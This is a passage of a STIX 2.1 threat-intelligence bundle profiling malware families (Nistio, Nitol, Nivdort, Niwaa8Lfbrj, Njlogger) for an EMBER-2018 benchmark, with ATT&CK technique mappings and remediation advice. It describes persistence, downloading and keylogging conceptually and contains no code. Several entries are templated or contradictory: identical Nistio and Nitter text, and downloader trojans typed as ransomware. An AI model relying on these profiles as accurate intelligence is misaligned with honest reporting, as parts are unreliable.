      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nistio",
      "description": "<h3>Executive Summary</h3>\nNistio is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNistio is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Nistio operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nistio ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nistio receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nistio infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Nistio executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Nistio frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nistio",
        "Downloader.Nistio",
        "Win32/Nistio"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nistio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nistio"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d23b6b0d-dab7-5316-b6fd-5c2bd0be4edf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a4bb2e7-3ad3-5ee6-925b-25b0b61d4f27",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nistio exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f22d7c2e-a6c8-5250-b9cf-2859f0654e10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a4bb2e7-3ad3-5ee6-925b-25b0b61d4f27",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nistio exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4d6f461-4824-5150-b50b-3328f8ef6c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a4bb2e7-3ad3-5ee6-925b-25b0b61d4f27",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nistio exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nitol",
      "description": "Nitol (cataloged across global cybersecurity threat intelligence as DDoS:Win32/Nitol, Trojan:Win32/Nitol, and Backdoor.Win32.Nitol) is a notorious Distributed Denial of Service (DDoS) botnet and backdoor trojan family analyzed by Microsoft Defender, Cisco Talos, and CISA. Prominently dismantled in part during Microsoft Digital Crimes Unit's operation against the 3322.org dynamic DNS infrastructure, Nitol was historically pre-installed onto counterfeit Windows operating system recovery disks and distributed via cracked software installers across East Asia and worldwide. Once active on an endpoint, Nitol establishes persistent TCP connections to attacker-controlled command-and-control servers, enabling operators to orchestrate coordinated high-volume SYN floods, UDP floods, and HTTP GET floods against corporate networks, government portals, and gaming servers. Nitol also includes keylogging modules, arbitrary file execution, and registry persistence hooks under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 694)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DDoS:Win32/Nitol",
        "Trojan:Win32/Nitol",
        "Backdoor.Win32.Nitol",
        "Win32/Nitol.Bot",
        "Nitol.DDOS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nitol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nitol"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "TA12-340A"
        }
      ],
      "labels": [
        "ddos_bot",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--259bd37e-5667-5175-8590-9409b19e654e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b2459de-7199-54b5-b768-a657646850cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d5519ff-c3f3-5d78-96cd-9d0ceab1c4f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b51873ee-7670-5b14-91fe-d8452bb583a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50b60d2d-9d19-58eb-8b12-e9e71374587a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdf4c158-8d2d-5414-b220-aedddb20e207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2320671e-d287-529d-92ba-33d531d9700d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--411c3b75-ddbd-5983-bbd5-21aa45c8a5ce",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitol exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a69d4ed3-cd8c-5696-a145-0d7d30e86c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nitter",
      "description": "<h3>Executive Summary</h3>\nNitter is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNitter is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Nitter operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nitter ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nitter receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nitter infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Nitter executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Nitter frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nitter",
        "Downloader.Nitter",
        "Win32/Nitter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nitter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nitter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9b9fef2-f2ea-5897-9933-6d26b25fa821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a69d4ed3-cd8c-5696-a145-0d7d30e86c96",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitter exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--195fd6d3-add9-59e2-a729-f3baa7f9a795",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a69d4ed3-cd8c-5696-a145-0d7d30e86c96",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7415ecc7-1f59-5e23-96dc-e04b78180dd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a69d4ed3-cd8c-5696-a145-0d7d30e86c96",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nitter exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dacebc37-96dd-5d34-ae01-2e3b3ff6b6c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nivdort",
      "description": "<h3>Executive Summary</h3>\nNivdort (also widely tracked as Bayrob) is a highly sophisticated, modular Trojan and botnet client. Initially discovered around 2007 as a specialized tool for intercepting web traffic to steal credit card data and manipulate online auctions (like eBay), it evolved into a massive, multi-purpose botnet capable of spam distribution, credential theft, and cryptocurrency mining. The operators behind the core Bayrob botnet were arrested by the FBI in 2016, but variants of the malware occasionally resurface.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNivdort/Bayrob was overwhelmingly distributed via massive, highly targeted spear-phishing campaigns. These emails frequently masqueraded as legitimate invoices or shipping documents from major couriers, containing malicious ZIP attachments that hid the executable payload.\n\nIts technical architecture was highly advanced for its time:\n<ul>\n<li><strong>Network Traffic Interception:</strong> Its signature capability was deep network interception. It installed malicious proxies or modified system routing to perform Man-in-the-Middle (MitM) attacks. This allowed it to modify web pages in real-time (e.g., changing the price of an item on eBay or stealing credit card data during checkout), even on HTTPS sites.</li>\n<li><strong>Polymorphism and Evasion:</strong> The botnet operators utilized advanced server-side polymorphism. Every single victim downloaded a unique, cryptographically distinct version of the malware executable, rendering traditional signature-based AV almost entirely useless at the time.</li>\n<li><strong>Modular Architecture:</strong> The botnet could be updated on the fly. The C2 server could push new modules to the infected host to turn it into a spam relay, a cryptocurrency miner, or a generic proxy node.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nivdort detection indicates a severe compromise by a highly capable (historically APT-level) threat. The primary threat is financial fraud via intercepted web traffic and the theft of sensitive credentials.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Isolation and Triage:</strong> Isolate the endpoint immediately. Ensure that the C2 domains associated with the Nivdort variant are sinkholed at the corporate DNS level to prevent the bot from receiving new instructions.</li>\n<li><strong>Forensic Imaging:</strong> Because Nivdort heavily modifies network routing and installs custom proxies, a deep forensic analysis may be necessary to understand the full scope of the intercepted data.</li>\n<li><strong>Total Re-imaging:</strong> Attempting to manually remove Nivdort is strongly discouraged due to its deep hooks into the OS network stack. A complete bare-metal wipe and re-image is the only secure remediation method.</li>\n</ul> (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nivdort",
        "Botnet.Bayrob",
        "Win32/Nivdort"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nivdort",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nivdort"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bacf9dd4-2fab-56a7-826b-bde7b5a3b6d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacebc37-96dd-5d34-ae01-2e3b3ff6b6c8",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nivdort exhibits technique T1562 (Impair Defenses (Suspicious API calls))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--032574ae-748d-518b-ad56-5cd6db82b8da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacebc37-96dd-5d34-ae01-2e3b3ff6b6c8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nivdort exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--110ba3c3-fc5b-5392-bc26-c78a13ff2262",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacebc37-96dd-5d34-ae01-2e3b3ff6b6c8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nivdort exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--241454f1-876e-5aa5-b34f-a0d974592425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Niwaa8Lfbrj",
      "description": "<h3>Executive Summary</h3>\nNiwaa8lfbrj is a heuristic detection name assigned to a highly obfuscated Trojan variant. The randomly generated alphanumeric name strongly suggests the use of a Domain Generation Algorithm (DGA) for Command and Control (C2) communication or a polymorphic packing engine designed to dynamically alter the file's hash on every execution, making traditional signature-based detection highly ineffective.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware bearing such randomized nomenclature is typically delivered as a secondary payload. An initial access broker or a primary downloader (like Emotet or Trickbot) drops this obfuscated executable onto the victim's machine once a foothold is established.\n\nUpon execution, this trojan prioritizes stealth and evasion:\n<ul>\n<li><strong>Polymorphism and Packing:</strong> The executable is heavily packed. It unpacks itself directly into memory (fileless execution) to hide its true intent from static analysis tools.</li>\n<li><strong>Process Injection:</strong> It frequently utilizes Process Hollowing, suspending a legitimate Windows process (e.g., `svchost.exe`) and replacing its memory space with the malicious code, allowing it to bypass application whitelisting and firewall rules.</li>\n<li><strong>C2 Communication:</strong> The malware likely utilizes a DGA to programmatically generate hundreds of potential C2 domain names daily. It attempts to resolve these until it finds one registered by the attacker, allowing it to receive further instructions or exfiltrate data while evading static domain blocklists.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a highly obfuscated trojan like Niwaa8lfbrj is a critical indicator of compromise. It signifies that advanced evasion techniques have bypassed initial defenses. The payload could be anything from a silent info-stealer to a precursor for a network-wide ransomware deployment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires Endpoint Detection and Response (EDR) solutions that monitor for anomalous process behavior (like injection or unexpected outbound network connections) rather than relying on file hashes.</li>\n<li><strong>Network Isolation and DNS Filtering:</strong> Immediately isolate the machine. Analyze DNS logs for high volumes of NXDOMAIN (Non-Existent Domain) responses, which strongly indicate DGA activity, and block the successful resolutions.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion tactics and the likelihood of undiscovered secondary payloads, a complete bare-metal wipe and re-image from a trusted backup is the most secure remediation path.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Niwaa8lfbrj",
        "Win32/Trojan.Obfuscated",
        "Suspicious.DGA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Niwaa8Lfbrj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/niwaa8lfbrj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25f55e25-f72c-5457-9f8b-6597529dbfc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--241454f1-876e-5aa5-b34f-a0d974592425",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Niwaa8Lfbrj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff11e11e-9ab6-5d40-8266-15f7669e8ead",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--241454f1-876e-5aa5-b34f-a0d974592425",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Niwaa8Lfbrj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a04a6b4f-fec8-595e-a3a9-d8a5cee92067",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--241454f1-876e-5aa5-b34f-a0d974592425",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Niwaa8Lfbrj exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce39b8f2-27ce-5f61-be3d-d9f7ba71a678",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--241454f1-876e-5aa5-b34f-a0d974592425",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Niwaa8Lfbrj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9bc17d26-86ab-506e-bf8e-7819dd4911a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Njlogger",
      "description": "Spyware:Win32/Njlogger is a highly prevalent keylogging component, frequently encountered as a module embedded within the notorious **njRAT (Bladabindi)** remote access trojan, though it can occasionally be deployed standalone. Its primary function is the systematic, stealthy collection of user credentials, sensitive communications, and intellectual property by recording every keystroke made on the infected endpoint.<br><br><b>Understanding Njlogger</b><br>To an end-user, Njlogger operates entirely invisibly in the background. Passwords typed into web browsers, SSH clients, or corporate VPN portals are silently captured. For an enterprise, Njlogger represents a catastrophic breach of confidentiality. The stolen credentials can be used for immediate lateral movement, privilege escalation, or sold on dark web marketplaces to other Initial Access Brokers (IABs).<br><br><b>Execution and Data Collection Mechanics</b><br>Njlogger is typically deployed after an initial compromise (via phishing or exploit). Upon execution, it establishes persistence, often via the Registry Run keys or the Startup folder (`T1547.001`). The core functionality relies on API hooking, specifically the `SetWindowsHookEx` API (`T1056.001`). By hooking the keyboard message stream globally, Njlogger intercepts the `WH_KEYBOARD_LL` (low-level keyboard hook) event, capturing every keystroke before the intended application receives it. In addition to keystrokes, Njlogger frequently monitors the active window title (`GetForegroundWindow`) to provide context to the captured keys (e.g., showing that 'password123' was typed into 'Google Chrome - Bank Login'). It also frequently polls the system clipboard (`T1115`) to steal copied passwords. The collected data is written to a hidden, encrypted log file in the `%Temp%` or `%AppData%` directory before being exfiltrated to the botmaster (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total compromise of user credentials and sensitive data. Host-based IoCs include EDR alerts for suspicious processes employing API hooking (`SetWindowsHookEx`), the presence of rapidly growing, obfuscated `.log` or `.dat` files in user directories, and processes reading the clipboard excessively. Network IoCs involve regular, encrypted beaconing containing the compressed log files to known njRAT C2 infrastructure. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Njlogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/njlogger"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54ce5e5d-5355-5bd4-a7c7-9a8620b3a481",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc17d26-86ab-506e-bf8e-7819dd4911a1",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Njlogger exhibits technique T1056.001 (Input Capture: Keylogging (Hooking SetWindowsHookEx))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5d688b6-d8e1-5665-b54a-90d44854ed11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc17d26-86ab-506e-bf8e-7819dd4911a1",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Njlogger exhibits technique T1115 (Clipboard Data (Stealing copied passwords))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74ee8775-5c2c-51a9-850d-939ad92c1669",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc17d26-86ab-506e-bf8e-7819dd4911a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Njlogger exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17009040-23e5-5eab-8815-c5e7b1ce80b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc17d26-86ab-506e-bf8e-7819dd4911a1",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Njlogger exhibits technique T1048.003 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d72a42a1-4d9f-5031-9741-b75eec67618c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Njrat",
